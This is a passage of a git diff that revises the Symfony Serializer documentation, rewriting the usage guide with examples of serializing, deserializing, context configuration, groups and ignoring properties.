<reference-attributes-serializer>` for a list of supported annotations. .. _reference-serializer-name_converter: @@ -3013,8 +3013,7 @@ value. .. seealso:: - For more information, see - :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`. + For more information, see :ref:`serializer-name-conversion`. .. _reference-serializer-circular_reference_handler: diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index 4a51940b96e..a34cfe58f0c 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -713,6 +713,8 @@ project's root directory: If the given file path is out of the project directory, a ``null`` value will be returned. +.. _reference-twig-filter-serialize: + serialize ~~~~~~~~~ diff --git a/serializer.rst b/serializer.rst index 2900a49ba4e..4efdbf2dd45 100644 --- a/serializer.rst +++ b/serializer.rst @@ -1,10 +1,17 @@ How to Use the Serializer ========================= -Symfony provides a serializer to serialize/deserialize to and from objects and -different formats (e.g. JSON or XML). Before using it, read the -:doc:`Serializer component docs </components/serializer>` to get familiar with -its philosophy and the normalizers and encoders terminology. +Symfony provides a serializer to transform data structures from one format +to PHP objects and the other way around. + +This is most commonly used when building an API or communicating with third +party APIs. The serializer can transform an incoming JSON request payload +to a PHP object that is consumed by your application. Then, when generating +the response, you can use the serializer to transform the PHP objects back +to a JSON response. + +It can also be used to for instance load CSV configuration data as PHP +objects, or even to transform between formats (e.g. YAML to XML). .. _activating_the_serializer: @@ -12,287 +19,387 @@ Installation ------------ In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to -install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it: +install the serializer :ref:`Symfony pack <symfony-packs>` before using it: .. code-block:: terminal $ composer require symfony/serializer-pack -Using the Serializer Service ----------------------------- +.. note:: + + The serializer pack also installs some commonly used optional + dependencies of the Serializer component. When using this component + outside the Symfony framework, you might want to start with the + ``symfony/serializer`` package and install optional dependencies if you + need them. + +.. seealso:: -Once enabled, the serializer service can be injected in any service where -you need it or it can be used in a controller:: + A popular alternative to the Symfony Serializer component is the third-party + library, `JMS serializer`_. - // src/Controller/DefaultController.php - namespace App\Controller; +Serializing an Object +--------------------- - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Serializer\SerializerInterface; +For this example, assume the following class exists in your project:: - class DefaultController extends AbstractController + // src/Model/Person.php + namespace App\Model; + + class Person { - public function index(SerializerInterface $serializer): Response + public function __construct( + private int $age, + private string $name, + private bool $sportsperson + ) { + } + + public function getAge(): int { - // keep reading for usage examples + return $this->age; } - } -Or you can use the ``serialize`` Twig filter in a template: + public function getName(): string + { + return $this->name; + } -.. code-block:: twig + public function isSportsperson(): bool + { + return $this->sportsperson; + } + } - {{ object|serialize(format = 'json') }} +If you want to transform objects of this type into a JSON structure (e.g. +to send them via an API response), get the ``serializer`` service by using +the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type: -See the :doc:`twig reference </reference/twig_reference>` for -more information. +.. configuration-block:: -Adding Normalizers and Encoders -------------------------------- + .. code-block:: php-symfony -Once enabled, the ``serializer`` service will be available in the container. -It comes with a set of useful :ref:`encoders <component-serializer-encoders>` -and :ref:`normalizers <component-serializer-normalizers>`. - -Encoders supporting the following formats are enabled: - -* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` -* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` -* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` -* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` - -As well as the following normalizers: - -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer` -* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer` - -Other :ref:`built-in normalizers <component-serializer-normalizers>` and -custom normalizers and/or encoders can also be loaded by tagging them as -:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and -:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also -possible to set the priority of the tag in order to decide the matching order. + // src/Controller/PersonController.php + namespace App\Controller; -.. danger:: + use App\Model\Person; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Serializer\SerializerInterface; - Always make sure to load the ``DateTimeNormalizer`` when serializing the - ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory - usage and exposing internal details. + class PersonController extends AbstractController + { + public function index(SerializerInterface $serializer): Response + { + $person = new Person('Jane Doe', 39, false); -.. _serializer_serializer-context: + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false} -Serializer Context ------------------- + return JsonResponse::fromJsonString($jsonContent); + } + } -The serializer can define a context to control the (de)serialization of -resources. This context is passed to all normalizers. For example: + .. code-block:: php-standalone -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses - ``datetime_format`` key as date time format; -* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer` - uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead - of ``[]`` in JSON. -* :class:`Symfony\\Component\\Serializer\\Serializer` - uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead - of ``[]`` in JSON. + use App\Model\Person; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; -You can pass the context as follows:: + $encoders = [new JsonEncoder()]; + $normalizers = [new ObjectNormalizer()]; + $serializer = new Serializer($normalizers, $encoders); - $serializer->serialize($something, 'json', [ - DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s', - ]); + $person = new Person('Jane Done', 39, false); - $serializer->deserialize($someJson, Something::class, 'json', [ - DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s', - ]); + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false} -You can also configure the default context through the framework -configuration: +The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize` +is the object to be serialized and the second is used to choose the proper +encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`. -.. configuration-block:: +.. tip:: - .. code-block:: yaml + When your controller class extends ``AbstractController`` (like in the + example above), you can simplify your controller by using the + :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json` + method to create a JSON response from an object using the Serializer:: - # config/packages/framework.yaml - framework: - # ... - serializer: - default_context: - enable_max_depth: true - yaml_indentation: 2 + class PersonController extends AbstractController + { + public function index(): Response + { + $person = new Person('Jane Doe', 39, false); - .. code-block:: xml + // when the Serializer is not available, this will use json_encode() + return $this->json($person); + } + } - <!-- config/packages/framework.xml --> - <framework:config> - <!-- ... --> - <framework:serializer> - <default-context enable-max-depth="true" yaml-indentation="2"/> - </framework:serializer> - </framework:config> +Using the Serializer in Twig Templates +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - .. code-block:: php +You can also serialize objects in any Twig template using the ``serialize`` +filter: - // config/packages/framework.php - use Symfony\Component\Serializer\Encoder\YamlEncoder; - use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; - use Symfony\Config\FrameworkConfig; +.. code-block:: twig - return static function (FrameworkConfig $framework): void { - $framework->serializer() - ->defaultContext([ - AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true, - YamlEncoder::YAML_INDENTATION => 2, - ]) - ; - }; + {{ person|serialize(format = 'json') }} -.. versionadded:: 6.2 +See the :ref:`twig reference <reference-twig-filter-serialize>` for more +information. - The option to configure YAML indentation was introduced in Symfony 6.2. +Deserializing an Object +----------------------- -You can also specify the context on a per-property basis:: +APIs often also need to convert a formatted request body (e.g. JSON) to a +PHP object. This process is called *deserialization* (also known as "hydration"): .. configuration-block:: - .. code-block:: php-attributes + .. code-block:: php-symfony - namespace App\Model; + // src/Controller/PersonController.php + namespace App\Controller; - use Symfony\Component\Serializer\Annotation\Context; - use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; + // ... + use Symfony\Component\HttpFoundation\Exception\BadRequestException; + use Symfony\Component\HttpFoundation\Request; - class Person + class PersonController extends AbstractController { - #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])] - public \DateTimeInterface $createdAt; - // ... + + public function create(Request $request, SerializerInterface $serializer): Response + { + if ('json' !== $request->getContentTypeFormat()) { + throw new BadRequestException('Unsupported content format'); + } + + $jsonData = $request->getContent(); + $person = $serializer->deserialize($jsonData, Person::class, 'json'); + + // ... do something with $person and return a response + } } - .. code-block:: yaml + .. code-block:: php-standalone - # config/serializer/custom_config.yaml - App\Model\Person: - attributes: - createdAt: - contexts: - - { context: { datetime_format: 'Y-m-d' } } + use App\Model\Person; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; - .. code-block:: xml + // ... + $jsonData = ...; // fetch JSON from the request + $person = $serializer->deserialize($jsonData, Person::class, 'json'); - <!-- config/serializer/custom_config.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\Model\Person"> - <attribute name="createdAt"> - <context> - <entry name="datetime_format">Y-m-d</entry> - </context> - </attribute> - </class> - </serializer> +In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize` +needs three parameters: -Use the options to specify context specific to normalization or denormalization:: +#. The data to be decoded +#. The name of the class this information will be decoded to +#. The name of the encoder used to convert the data to an array (i.e. the + input format) - namespace App\Model; +When sending a request to this controller (e.g. +``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer +will create a new instance of ``Person`` and sets the properties to the +values from the given JSON. - use Symfony\Component\Serializer\Annotation\Context; - use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; +.. note:: - class Person - { - #[Context( - normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'], - denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization - )] - public \DateTimeInterface $createdAt; + By default, additional attributes that are not mapped to the + denormalized object will be ignored by the Serializer component. For + instance, if a request to the above controller contains ``{..., "city": "Paris"}``, + the ``city`` field will be ignored. You can also throw an exception in + these cases using the :ref:`serializer context <serializer-context>` + you'll learn about later. - // ... - } +.. seealso:: -You can also restrict the usage of a context to some groups:: + You can also deserialize data into an existing object instance (e.g. + when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`. - namespace App\Model; +.. _serializer-process: - use Symfony\Component\Serializer\Annotation\Context; - use Symfony\Component\Serializer\Annotation\Groups; - use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; +The Serialization Process: Normalizers and Encoders +--------------------------------------------------- - class Person - { - #[Groups(['extended'])] - #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])] - #[Context( - context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED], - groups: ['extended'], - )] - public \DateTimeInterface $createdAt; +The serializer uses a two-step process when (de)serializing objects: - // ... - } +.. raw:: html -The attribute can be repeated as much as needed on a single property. -Context without group is always applied first. Then context for the matching -groups are merged in the provided order. + <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml" + alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph." + ></object> -If you repeat the same context in multiple properties, consider using the -``#[Context]`` attribute on your class to apply that context configuration to -all the properties of the class:: +In both directions, data is always first converted to an array. This splits +the process in two seperate responsibilities: - namespace App\Model; +Normalizers + These classes convert **objects** into **arrays** and vice versa. They + do the heavy lifting of finding out which class properties to + serialize, what value they hold and what name they should have. +Encoders + Encoders convert **arrays** into a specific **format** and the other + way around. Each encoder knows exactly how to parse and generate a + specific format, for instance JSON or XML. - use Symfony\Component\Serializer\Annotation\Context; - use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; +Internally, the ``Serializer`` class uses a sorted list of normalizers and +one encoder for the specific format when (de)serializing an object. + +There are several normalizers configured in the default ``serializer`` +service. The most important normalizer is the +:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This +normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>` +to transform between any object and an array. You'll learn more about +:ref:`this and other normalizers <serializer-normalizers>` later. + +The default serializer is also configured with some encoders, covering the +common formats used by HTTP applications: + +* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` +* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` +* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` +* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` + +Read more about these encoders and their configuration in +:doc:`/serializer/encoders`. + +.. tip:: + + The `API Platform`_ project provides encoders for more advanced + formats: + + * `JSON-LD`_ along with the `Hydra Core Vocabulary`_ + * `OpenAPI`_ v2 (formerly Swagger) and v3 + * `GraphQL`_ + * `JSON:API`_ + * `HAL`_ + +.. _serializer-context: + +Serializer Context +~~~~~~~~~~~~~~~~~~ + +The serializer, and its normalizers and encoders, are configured through +the *serializer context*. This context can be configured in multiple +places: + +* `Globally through the framework configuration <Configure a Default Context>`_ +* `While serializing/deserializing <Pass Context while Serializing/Deserializing>`_ +* `For a specific property <Configure Context on a Specific Property>`_ + +You can use all three options at the same time. When the same setting is +configured in multiple places, the latter in the list above will override +the previous one (e.g. the setting on a specific property overrides the one +configured globally). + +.. _serializer-default-context: + +Configure a Default Context +........................... + +You can configure a default context in the framework configuration, for +instance to disallow extra fields while deserializing: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + default_context: + allow_extra_attributes: false + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer> + <framework:default-context> + <framework:allow-extra-attributes>false</framework:allow-extra-attributes> + </framework:default-context> + </framework:serializer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->defaultContext('', [ + 'allow_extra_attributes' => false, + ]) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])] - #[Context( - context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED], - groups: ['extended'], - )] - class Person - { // ... - } + $normalizers = [ + new ObjectNormalizer(null, null, null, null, null, null, [ + 'allow_extra_attributes' => false, + ]), + ]; + $serializer = new Serializer($normalizers, $encoders); + +Pass Context while Serializing/Deserializing +............................................ + +You can also configure the context for a single call to +``serialize()``/``deserialize()``. For instance, you can skip +properties with a ``null`` value only for one serialize call:: + + use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; -.. versionadded:: 6.4 + // ... + $serializer->serialize($person, 'json', [ + AbstractObjectNormalizer::SKIP_NULL_VALUES => true + ]); - The ``#[Context]`` attribute was introduced in Symfony 6.4. + // next calls to serialize() will NOT skip null values .. _serializer-using-context-builders: Using Context Builders ----------------------- +"""""""""""""""""""""" .. versionadded:: 6.1 Context builders were introduced in Symfony 6.1. -To define the (de)serialization context, you can use "context builders", which -are objects that help you to create that context by providing autocompletion, -validation, and documentation:: +You can use "context builders" to help define the (de)serialization +context. Context builders are PHP objects that provide autocompletion, +validation, and documentation of context options:: use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder; - $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s'); + $contextBuilder = (new DateTimeNormalizerContextBuilder()) + ->withFormat('Y-m-d H:i:s'); $serializer->serialize($something, 'json', $contextBuilder->toArray()); -Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`. -To create a more complex (de)serialization context, you can chain them using the +Each normalizer/encoder has its related context builder. To create a more +complex (de)serialization context, you can chain them using the ``withContext()`` method:: use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder; @@ -312,129 +419,111 @@ To create a more complex (de)serialization context, you can chain them using the $serializer->serialize($something, 'csv', $contextBuilder->toArray()); -You can also :doc:`create your context builders </serializer/custom_context_builders>` -to have autocompletion, validation, and documentation for your custom context values. - -.. _serializer-using-serialization-groups-attributes: - -Using Serialization Groups Attributes -------------------------------------- - -You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>` -to your class properties:: - - // src/Entity/Product.php - namespace App\Entity; - - use Doctrine\ORM\Mapping as ORM; - use Symfony\Component\Serializer\Annotation\Groups; - - #[ORM\Entity] - class Product - { - #[ORM\Id] - #[ORM\GeneratedValue] - #[ORM\Column(type: 'integer')] - #[Groups(['show_product', 'list_product'])] - private int $id; - - #[ORM\Column(type: 'string', length: 255)] - #[Groups(['show_product', 'list_product'])] - private string $name; - - #[ORM\Column(type: 'text')] - #[Groups(['show_product'])] - private string $description; - } - -You can also use the ``#[Groups]`` attribute on class level:: +.. seealso:: - #[ORM\Entity] - #[Groups(['show_product'])] - class Product - { - #[ORM\Id] - #[ORM\GeneratedValue] - #[ORM\Column(type: 'integer')] - #[Groups(['list_product'])] - private int $id; + You can also :doc:`create your context builders </serializer/custom_context_builders>` + to have autocompletion, validation, and documentation for your custom + context values. - #[ORM\Column(type: 'string', length: 255)] - #[Groups(['list_product'])] - private string $name; +Configure Context on a Specific Property +........................................ - #[ORM\Column(type: 'text')] - private string $description; - } +At last, you can also configure context values on a specific object +property. For instance, to configure the datetime format: -In this example, the ``id`` and the ``name`` properties belong to the -``show_product`` and ``list_product`` groups. The ``description`` property -only belongs to the ``show_product`` group. +.. configuration-block:: -.. versionadded:: 6.4 + .. code-block:: php-attributes - The support of the ``#[Groups]`` attribute on class level was - introduced in Symfony 6.4. + // src/Model/Person.php -Now that your groups are defined, you can choose which groups to use when -serializing:: + // ... + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; - use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder; + class Person + { + #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])] + public \DateTimeImmutable $createdAt; - $context = (new ObjectNormalizerContextBuilder()) - ->withGroups('show_product') - ->toArray(); + // ... + } - $json = $serializer->serialize($product, 'json', $context); + .. code-block:: yaml -.. tip:: + # config/serializer/person.yaml + App\Model\Person: + attributes: + createdAt: + contexts: + - context: { datetime_format: 'Y-m-d' } - The value of the ``groups`` key can be a single string, or an array of strings. + .. code-block:: xml -In addition to the ``#[Groups]`` attribute, the Serializer component also -supports YAML or XML files. These files are automatically loaded when being -stored in one of the following locations: + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="createdAt"> + <context> + <entry name="datetime_format">Y-m-d</entry> + </context> + </attribute> + </class> + </serializer> -* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/`` - directory. -* The ``serialization.yaml`` or ``serialization.xml`` file in - the ``Resources/config/`` directory of a bundle; -* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/`` - directory of a bundle. +.. note:: -.. _serializer-enabling-metadata-cache: + When using YAML or XML, the mapping files must be placed in one of + these locations: -Using Nested Attributes ------------------------ + * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/`` + directory. + * The ``serialization.yaml`` or ``serialization.xml`` file in the + ``Resources/config/`` directory of a bundle; + * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/`` + directory of a bundle. -To map nested properties, use the ``SerializedPath`` configuration to define -their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`: +You can also specify a context specific to normalization or denormalization: .. configuration-block:: .. code-block:: php-attributes - namespace App\Model; + // src/Model/Person.php - use Symfony\Component\Serializer\Attribute\SerializedPath; + // ... + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; class Person { - #[SerializedPath('[profile][information][birthday]')] - private string $birthday; + #[Context( + normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'], + denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339], + )] + public \DateTimeImmutable $createdAt; // ... } .. code-block:: yaml + # config/serializer/person.yaml App\Model\Person: attributes: - dob: - serialized_path: '[profile][information][birthday]' + createdAt: + contexts: + - normalizationContext: { datetime_format: 'Y-m-d' } + denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 } .. code-block:: xml + <!-- config/serializer/person.xml --> <?xml version="1.0" encoding="UTF-8" ?> <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" @@ -442,81 +531,959 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" > <class name="App\Model\Person"> - <attribute name="dob" serialized-path="[profile][information][birthday]"/> + <attribute name="createdAt"> + <normalization-context> + <entry name="datetime_format">Y-m-d</entry> + </normalization-context> + + <denormalization-context> + <entry name="datetime_format">Y-m-d\TH:i:sP</entry> + </denormalization-context> + </attribute> </class> </serializer> -.. versionadded:: 6.2 - - The option to configure a ``SerializedPath`` was introduced in Symfony 6.2. - -Using the configuration from above, denormalizing with a metadata-aware -normalizer will write the ``birthday`` field from ``$data`` onto the ``Person`` -object:: +.. _serializer-context-group: - $data = [ - 'profile' => [ - 'information' => [ - 'birthday' => '01-01-1970', - ], - ], - ]; - $person = $normalizer->denormalize($data, Person::class, 'any'); - $person->getBirthday(); // 01-01-1970 +You can also restrict the usage of a context to some +:ref:`groups <serializer-groups-attribute>`: -When using attributes, the ``SerializedPath`` can either -be set on the property or the associated _getter_ method. The ``SerializedPath`` -cannot be used in combination with a ``SerializedName`` for the same property. - -Configuring the Metadata Cache ------------------------------- +.. configuration-block:: -The metadata for the serializer is automatically cached to enhance application -performance. By default, the serializer uses the ``cache.system`` cache pool -which is configured using the :ref:`cache.system <reference-cache-system>` -option. + .. code-block:: php-attributes -Enabling a Name Converter -------------------------- + // src/Model/Person.php -The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>` -service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>` -option. + // ... + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Attribute\Groups; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; -The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>` -can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case`` -value: + class Person + { + #[Groups(['extended'])] + #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])] + #[Context( + context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED], + groups: ['extended'], + )] + public \DateTimeImmutable $createdAt; -.. configuration-block:: + // ... + } .. code-block:: yaml - # config/packages/framework.yaml - framework: - # ... - serializer: - name_converter: 'serializer.name_converter.camel_case_to_snake_case' + # config/serializer/person.yaml + App\Model\Person: + attributes: + createdAt: + groups: [extended] + contexts: + - context: { datetime_format: !php/const \DateTime::RFC3339 } + - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED } + groups: [extended] .. code-block:: xml - <!-- config/packages/framework.xml --> - <framework:config> - <!-- ... --> - <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/> - </framework:config> + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="createdAt"> + <group>extended</group> - .. code-block:: php + <context> + <entry name="datetime_format">Y-m-d\TH:i:sP</entry> + </context> + <context> + <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry> + <group>extended</group> + </context> + </attribute> + </class> + </serializer> - // config/packages/framework.php - use Symfony\Config\FrameworkConfig; +The attribute can be repeated as much as needed on a single property. +Context without group is always applied first. Then context for the +matching groups are merged in the provided order. + +If you repeat the same context in multiple properties, consider using the +``#[Context]`` attribute on your class to apply that context configuration to +all the properties of the class:: + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\Context; + use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; + + #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])] + #[Context( + context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED], + groups: ['extended'], + )] + class Person + { + // ... + } + +Serializing to or from PHP Arrays +--------------------------------- + +The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be +used to only perform one step of the :ref:`two step serialization process <serializer-process>` +by using the respective interface: + +.. configuration-block:: + + .. code-block:: php-symfony + + use Symfony\Component\Serializer\Encoder\DecoderInterface; + use Symfony\Component\Serializer\Encoder\EncoderInterface; + use Symfony\Component\Serializer\Normalizer\DenormalizerInterface; + use Symfony\Component\Serializer\Normalizer\NormalizerInterface; + // ... + + class PersonController extends AbstractController + { + public function index(DenormalizerInterface&NormalizerInterface $serializer): Response + { + $person = new Person('Jane Doe', 39, false); + + // use normalize() to convert a PHP object to an array + $personArray = $serializer->normalize($person, 'json'); + + // ...and denormalize() to convert an array back to a PHP object + $personCopy = $serializer->denormalize($personArray, Person::class); + + // ... + } + + public function json(DecoderInterface&EncoderInterface $serializer): Response + { + $data = ['name' => 'Jane Doe']; + + // use encode() to transform PHP arrays into another format + $json = $serializer->encode($data, 'json'); + + // ...and decode() to transform any format to just PHP arrays (instead of objects) + $data = $serializer->decode('{"name":"Charlie Doe"}', 'json'); + // $data contains ['name' => 'Charlie Doe'] + } + } + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Encoder\JsonEncoder; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + $encoders = [new JsonEncoder()]; + $normalizers = [new ObjectNormalizer()]; + $serializer = new Serializer($normalizers, $encoders); + + // use normalize() to convert a PHP object to an array + $personArray = $serializer->normalize($person, 'json'); + + // ...and denormalize() to convert an array back to a PHP object + $personCopy = $serializer->denormalize($personArray, Person::class); + + $data = ['name' => 'Jane Doe']; + + // use encode() to transform PHP arrays into another format + $json = $serializer->encode($data, 'json'); + + // ...and decode() to transform any format to just PHP arrays (instead of objects) + $data = $serializer->decode('{"name":"Charlie Doe"}', 'json'); + // $data contains ['name' => 'Charlie Doe'] + +.. _serializer_ignoring-attributes: + +Ignoring Properties +------------------- + +The ``ObjectNormalizer`` normalizes *all* properties of an object and all +methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``. +Some properties or methods should never be serialized. You can exclude +them using the ``#[Ignore]`` attribute: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\Ignore; + + class Person + { + // ... + + #[Ignore] + public function isPotentiallySpamUser(): bool + { + // ... + } + } + + .. code-block:: yaml + + App\Model\Person: + attributes: + potentiallySpamUser: + ignore: true + + .. code-block:: xml + + <?xml version="1.0" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="potentiallySpamUser" ignore="true"/> + </class> + </serializer> + +The ``potentiallySpamUser`` property will now never be serialized: + +.. configuration-block:: + + .. code-block:: php-symfony + + use App\Model\Person; + + // ... + 